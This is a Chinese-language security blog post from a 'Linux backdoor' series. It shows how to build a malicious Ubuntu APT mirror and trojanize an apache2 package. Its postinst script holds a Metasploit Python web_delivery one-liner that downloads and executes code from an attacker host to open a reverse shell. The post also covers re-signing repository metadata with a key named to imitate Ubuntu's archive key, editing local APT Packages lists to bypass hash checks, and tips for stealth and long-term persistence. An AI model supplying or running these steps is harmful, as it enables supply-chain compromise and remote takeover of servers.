更新源后门 | Linux 后门系列
2023-3-30 00:2:0 Author: NOP Team(查看原文) 阅读量:56 收藏

在平时的攻防活动中,经常遇到出网的 Linux 服务器,很多内网 Linux 服务器连接外网只是为了更新软件包,结果将一个小危害变成了企业安全壁垒的裂口

我还是比较推荐企业建立自己的软件更新源,实时同步官方软件源,同时给通过反向代理提供服务,不需要连接外部网络,但有软件安装和更新需求的内网 Linux 服务器使用,这样至少有三个好处

  • 将内网主机危害性有效较低
  • 能够通过设置监控程序,记录内网 Linux 服务器安装软件包的情况,对供应链安全建设有利,某个版本的软件包发生安全漏洞时,可以快速锁定目标

0x01 搭建一个软件源

这部分内容适合于企业自建自己的软件源,也适合攻击者搭建一个恶意的软件源

以 APT 为例,搭建 Ubuntu 20.04 lts 的更新源

工具选择

  • Ubuntu Server 22.10  (更新源服务器)
  • apt-mirror
  • apache
  • cron

搭建方法

整体思路:搭建一个更新源,定期同步官方源,让其他Linux 服务器使用这个源

1)安装 apt-mirror

sudo apt update
sudo apt install apt-mirror

2)修改 apt-mirror 的配置文件

/etc/apt/mirror.list

############# config ##################
#
# set base_path    /var/spool/apt-mirror
#
# set mirror_path  $base_path/mirror
# set skel_path    $base_path/skel
# set var_path     $base_path/var
# set cleanscript $var_path/clean.sh
# set defaultarch  <running host architecture>
# set postmirror_script $var_path/postmirror.sh
# set run_postmirror 0
set nthreads     20
set _tilde 0
#
############# end config ##############

deb http://archive.ubuntu.com/ubuntu kinetic main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu kinetic-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu kinetic-updates main restricted universe multiverse
#deb http://archive.ubuntu.com/ubuntu kinetic-proposed main restricted universe multiverse
#deb http://archive.ubuntu.com/ubuntu kinetic-backports main restricted universe multiverse

deb-src http://archive.ubuntu.com/ubuntu kinetic main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu kinetic-security main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu kinetic-updates main restricted universe multiverse
#deb-src http://archive.ubuntu.com/ubuntu kinetic-proposed main restricted universe multiverse
#deb-src http://archive.ubuntu.com/ubuntu kinetic-backports main restricted universe multiverse

clean http://archive.ubuntu.com/ubuntu

这里默认的更新源是当前系统的,我们修改为 Ubuntu 20.04 lts 的

############# config ##################
#
# set base_path    /var/spool/apt-mirror
#
# set mirror_path  $base_path/mirror
# set skel_path    $base_path/skel
# set var_path     $base_path/var
# set cleanscript $var_path/clean.sh
# set defaultarch  <running host architecture>
# set postmirror_script $var_path/postmirror.sh
# set run_postmirror 0
set nthreads     20
set _tilde 0
#
############# end config ##############

deb http://archive.ubuntu.com/ubuntu focal main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-proposed main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-backports main restricted universe multiverse

clean http://archive.ubuntu.com/ubuntu/

这里为了节省硬盘和下载时间,只同步64位的软件包 (deb-amd64)

3)开始同步官方软件包

sudo apt-mirror

下载了一整天,目前总共 417G 左右。apt-mirror 也支持按照数据包列表进行更新,这样企业可以定制自己想要同步的软件包

4)安装 apache 服务器

sudo apt-get update
sudo apt-get install apache2

将软件包目录链接到web目录下

sudo ln -s /var/spool/apt-mirror/mirror/archive.ubuntu.com/ubuntu /var/www/html/ubuntu

现在一个 Ubuntu 更新源就搭建好了

5)定期更新

目前的更新源不会定期更新,也不会实时更新,我们可以使用计划任务让更新源服务器做定期的增量更新

如果想实时更新,可以考虑使用  inotify + 检查脚本来完成

脚本 /opt/update_mirror.sh

#!/bin/bash

#
 更新源
apt-mirror

创建计划任务

sudo crontab -e

添加以下内容

0 2 * * * /opt/update_mirror.sh >/dev/null 2>&1

每天凌晨两点自动更新

使用测试

配置内网主机使用该更新源

deb http://<your-server-IP>/ubuntu focal main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-security main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-updates main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-proposed main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-backports main restricted universe multiverse

我的更新源服务器的IP为 192.168.31.117 ,所以配置内网其他主机的更新源为

deb http://192.168.31.117/ubuntu focal main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-security main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-updates main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-proposed main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-backports main restricted universe multiverse

尝试使用自定义的更新源安装 nmap

成功安装

我也尝试了一下对系统软件进行升级

也全都正常

0x02 将篡改后的软件包放入更新源

我们期待的是软件包正常安装,正常运行的同时执行我们的payload

工具

  • metasploit
  • dpkg-deb

下载软件包

以 apache 为例

  • 通过官方源网站直接下载

  • 通过 apt download 下载

    • 需要保持用于下载的系统和被害系统相同的版本,不然下载的软件包放到我们的更新源里可能会有问题
  • 直接在上面搭建的更新源中找

前面两种方式都在上一篇文章中涉及了,这次选择直接使用第三种

解包

mkdir extract
dpkg-deb -x ./apache2_2.4.41-4ubuntu3.14_amd64.deb extract/
dpkg-deb -e ./apache2_2.4.41-4ubuntu3.14_amd64.deb extract/DEBIAN

DEBIAN 目录存在四个脚本文件,意义如下:

  1. preinst (预安装脚本):在软件包被安装之前运行。可用于检查系统资源,准备配置文件等等。一般情况下,这个脚本会检查依赖关系,然后向用户展示安装向导,提示用户是否愿意安装软件包。
  2. postinst (安装后脚本):在软件包被安装后运行。这个脚本可以用于创建配置文件,启动服务等等。
  3. prerm (预删除脚本):在软件被卸载之前运行。可以用于暂停服务,备份数据等等。
  4. postrm (卸载后脚本):在软件被卸载后运行。可以执行最后的清理任务,如删除配置文件、日志文件等等。

这次我们就使用 postinst 来完成加载木马的工作

就是普通的 bash 脚本,这样的话,其实之前的很多后门都可以和这个利用方式联合起来使用

生成 payload

payload 采用 msf 提供的python后门  exploit/multi/script/web_delivery

msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to
                                       listen on. This must be an address on t
                                       he local machine or 0.0.0.0 to listen o
                                       n all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (defau
                                       lt is randomly generated)
   URIPATH                   no        The URI to use for this exploit (defaul
                                       t is random)

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Python

View the full module info with the info, or info -d command.

msf6 exploit(multi/script/web_delivery) > set lhost 192.168.31.71
lhost => 192.168.31.71
msf6 exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.31.71:4444 
[*] Using URL: http://192.168.31.71:8080/zQqeWQAQbo8cSb
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71:8080/zQqeWQAQbo8cSb', context=ssl._create_unverified_context());exec(r.read());"
msf6 exploit(multi/script/web_delivery) > 

将生成的 python 指令放入到 postinst 中

image-20230328163534294

这里将 python 换成了 python3 ,因为 Ubuntu 20.04 里默认就是 python3,不再有 python 了

重新打包

dpkg-deb --build extract

测试效果

将修改过的软件包放回更新源中,使用内网主机安装 apache,看看 apt 会报错吗?msf 会收到信息吗?

报错了,同时msf那边也没有接到返回的 shell

如果你看了上一篇文章,肯定知道这里为何报错,如果我们把 payload 放在 preinst 会不会在报错的同时执行payload呢?

答案是不会,毕竟安装步骤都没开始,下载步骤就出现了问题

如果使用 dpkg 进行离线安装呢?

dpkg 离线安装可以实现反弹 shell ,所以以后 dpkg 安装软件包需要格外谨慎

目前来看 apt 安装失败是文件大小和hash 出现了问题,如果我们将恶意软件包hash计算出来,替换掉原本的包含hash的文件,安装还会报错吗?

0x03 让受害服务器接受我们的恶意软件包

简单可行的方法我这里提供两种

  • 第一种是将记录软件包信息的 Packages 及相关文件、记录 Packages 的 InRelease 文件等全都重新签名,之后在受害服务器中导入我们的签名
  • 第二种方法是我测试发现的,只要修改系统上部分文件内容,就可以实现绕过对软件包的校验

一、重新签名,导入签名

其实呢,这里有一个取巧的方法是直接修改 APT 的配置文件,让其跳过签名验证,但是我没有找到详细的配置方法

恶意的软件包上面已经生成了,我们直接使用修改后的 apache2_2.4.41-4ubuntu3.14_amd64.deb  就好

1)生成签名

在更新源服务器上生成自己的签名文件

gpg --gen-key

Ubuntu Archive Automatic Signing Key (2020) [email protected]

这里是为了掩人耳目,写得跟官方相同,但是即使和官方相同,也生成不了默认被服务器信任的签名,因为签名还有一项重要的识别——指纹

这是你的 key 的密码,一定要记住,后续可能会使用到

成功生成一个 key

gpg --list-keys

可以看到,生成的 key 已经被列出来了

2) 对恶意软件包进行签名

apt install dpkg-sig
export GPG_TTY=$(tty)
dpkg-sig --sign builder apache2_2.4.41-4ubuntu3.14_amd64.deb

我已经将恶意软件包拷贝到服务器对应目录了

3)在受害服务器中导入GPG密钥

这里有两种方式

  • 更新源服务器(用于签名的服务器)导出文件,之后拷贝到受害服务器,再进行安装
  • 更新源服务器(用于签名的服务器)将密钥上传至公共服务器,受害服务器直接从公共服务器导入

这次演示使用第二种方法

更新源服务器(用于签名的服务器)上将密钥上传至公共服务器 keyserver.ubuntu.com

gpg --send-keys --keyserver keyserver.ubuntu.com <YOUR_KEYID>

其中 KEYID 可以通过 gpg --list-keys 获取到

受害服务器导入更新源服务器的密钥

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys <YOUR_KEYID>

这里使用短 key 就可以了,也就是上面的 09DCBEBD663F9F89

4) 修改 Packages 相关文件

现在问题来了,到底哪一个源中有 apache2软件包,如果不只一个源中有 apache2 这个文件,该修改哪个文件中的 Packages 相关文件呢?有什么原则吗

源的位置和安装顺序可以通过 apt-cache policy apache2 来确定,但是我们总不能通过被害主机来测试,所以需要准备一台和被害主机同一版本的主机,同样使用我们搭建的更新源。之后执行上面的指令

这里可以看到,其实有三个源都包含 apache2 软件包, focal-securityfocal-updates 包含的软件包版本较新,为 2.4.41-4ubuntu3.14   focal包含的软件包版本较旧,为 2.4.41-4ubuntu3

默认安装APT会选择较新的版本进行安装,那么问题来了, focal-securityfocal-updates  版本一样,且都是最新的,安装哪一个呢?有什么原则吗?

这两个安装哪一个都行,但不是随机的,是按照两个更新源在 /etc/apt/sources.list 位置来决定的,按照我们上面的配置, focal-security  这个更新源更靠上,所以默认会安装来自 focal-security  的 apache2 软件包

但是,为了保险起见,可以将三个源中的Packages 等相关文件都改了,但这是个麻烦事

看完上面的解释,大家应该知道了,我们要修改  focal-security  中的 Packages 相关文件,从上面可知,apache2 软件包位于 main 这个大路径下

这里有四个文件,Release 不用管, 其他三个文件需要修改一下,直接删除 Packages.gzPackages.xz

计算修改并签名后的 apache2_2.4.41-4ubuntu3.14_amd64.deb 软件包的大小以及 hash

Size: 98462
MD5sum: e66bdf04e85d37a1e293ccdf0c75f414
SHA1: 6689d93b79d00710e49e380d02f4b08df73ce25a
SHA256: 5ebed2f9cedba5d9a484e4bca129c2cbd1957fac6b450d423a043c4ac2852abf
SHA512: d49a3fbfbac346615aa5bd101d06f21ea941275f91bddbe3be390e8a9fc238fb2b3d24f72366002dd577f13074420378de1246f676764b0dedfe4cefd75c6994

编辑 Packages 文件

将 apache2 中的大小和hash 信息进行替换

保存

将 Packages 文件分别压缩为 Packages.gz 和 Packages.xz

gzip -k Packages
xz -k Packages

5)计算出 Packages 以及相关文件的大小以及hash

Packages
Size: 11484821
MD5sum: 58f1a5d5d61362a78b2d8655a920699d
SHA1: 1fd37f4153596abaf6622d7d3de01ac9889b6232
SHA256: 0c16a4354798103d092256321b5fcb382c3f36e0c2b972adf30b8905160f105d
----------------
Packages.gz 
Size: 2598179
MD5sum: dd120e4e266c5d3c490a50f34dcb5e21
SHA1: 94c745077633d88d5c9d6249f65ed04204a35bc2
SHA256: 265d472f8454900b3a2187669596bf99956715f5ea6ab5133b0beb7b1d64087a
----------------
Packags.xz
Size: 2080352
MD5sum: 6b0fd01e0dce55dfb4e04011dd94549b
SHA1: 76613b52fcdf4770f256941352a04ba787d5a49a
SHA256: 0acda3f96b85b16b4f62f53f4000929ecd9cdbf177fb890d43ec3be1bcce6fb1

6)修改 Release 相关文件

Release 中保存了各个 Packages 以及相关文件的大小路径和hash等信息,现在我们需要针对上面三个进行修改

具体路径为 /var/spool/apt-mirror/mirror/archive.ubuntu.com/ubuntu/dists/focal-security

如果你读过上一篇文章,你肯定知道,Release.gpgInRelease 是有官方签名的,修改后需要我们手动签名

删除InReleaseRelease.gpg

编辑 Release 文件,使用上一小节的信息进行替换

保存

Release 签名,生成 InReleaseRelease.gpg

gpg --clearsign -o InRelease Release
gpg -abs -o Release.gpg Release

第一步需要输入生成key时设置的密码

7) 配置受害主机使用我们搭建的更新源

deb http://192.168.31.117/ubuntu focal main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-security main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-updates main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-proposed main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-backports main restricted universe multiverse

8)安装 apache2 ,观察Kali是否返回shell

sudo apt update 
sudo apt install apache2

成功获取 shell

二、 直接绕过校验

这部分才是比较有意思的、新发现的东西

我们先将更新源服务器和受害主机都恢复快照

1)搭建恶意更新源

用恶意软件包替换官方原版 apache2

2)配置受害主机使用该更新源

配置受害主机使用我们搭建的更新源

deb http://192.168.31.117/ubuntu focal main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-security main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-updates main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-proposed main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-backports main restricted universe multiverse
sudo apt update

可以看出,这一步是不会报错的,甚至安装其他软件包也不会报错

安装 apache2 报错

3)绕过APT检查

在上一篇文章中,我详细介绍了 APT 是如何防止软件包被篡改的,不过还是让我找到了一丢丢瑕疵,当然,这可能是 Ubuntu 的正常功能,这篇文章发出之后,我也会邮件 Ubuntu 官方询问这是否有风险

经过上一小节,大家也可以看出来,有了官方签名以后,用户先下载 InRelease ,签名合法后再下载各个 Packages.xz ,之后挨个软件包下载或者更新等。如果存在软件包大小或hash不符,就会报上面的错误

但是经过我的测试,实际上 APT 是将 Packages 文件保存在本地,在 apt install apache2 的时候,实际上如果更新源上的 InRelease 没有更新,则不会重新下载 Packages 等文件,关键的是 不会校验本地 Packages及相关文件的大小和HASH是否和更新源中 InRelease 文件标识相同

本地 Packages 文件位于什么地方呢?

/var/lib/apt/lists/

从上一个小节我们知道,安装 apache2 会从 focal-security/main/binary-amd64 中进行安装,所以我们直接修改本地的 Packages 文件 /var/lib/apt/lists/192.168.31.117_ubuntu_dists_focal-security_main_binary-amd64_Packages 就可以直接绕过 APT检查

如果你确定不了个文件中有上面报错的验证也没关系,你可以用文件大小和hash 去这些文件中搜索嘛

grep -rn "95572" /var/lib/apt/lists/

将恶意软件包的大小和hash信息计算出来

size: 97346
md5: 05c85be37a78bef6013ba2df6098dadc
sha1: efe5f314534e59785fa9f7f81f6798e9fc120e3e
sha256: f60e906d9a9ce31cec9870148ac8438dc7cf674632a9fad211418d5a35f869cf
sha512: 9d885527decedd3c55054077189799b93e6bcec17b049baf2cc87e48a9c70a4018f07c1d1d76f6ef40ff2a279a10e411a119a6c34d41fecb5aca50e08d776fcc

当然,也可以按照上一个小节的方法进行计算大小和hash

编辑 /var/lib/apt/lists/192.168.31.117_ubuntu_dists_focal-security_main_binary-amd64_Packages

保存

4)安装 apache2 ,观察Kali

成功绕过 APT 检查获取到 shell

0x04 一些碎碎念

  • 修改host,劫持默认更新源域名至我们搭建的更新源上
  • 绕过 APT 检查的方法最好配合一个文件监听程序,发现该文件更新就瞬间更新恶意软件包的大小和哈希
  • 放 msf 后门或者其他 bash 语句的时候注意输出和文件执行时间,避免安装过程卡住
  • APT软件本身还有好多配置文件之类的可以用来做后门
  • 做APT的,不妨把时间拉长,让这个更新源先运行一段时间

0x05 往期文章


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&mid=2247492576&idx=1&sn=7aa50fcdf84109b49b3c26848b07c8b7&chksm=fbded761cca95e77f016b4134d1b7f33a840c715d0d60441dc0186dea6388b628a91da6039ae#rd
如有侵权请联系:admin#unsafe.sh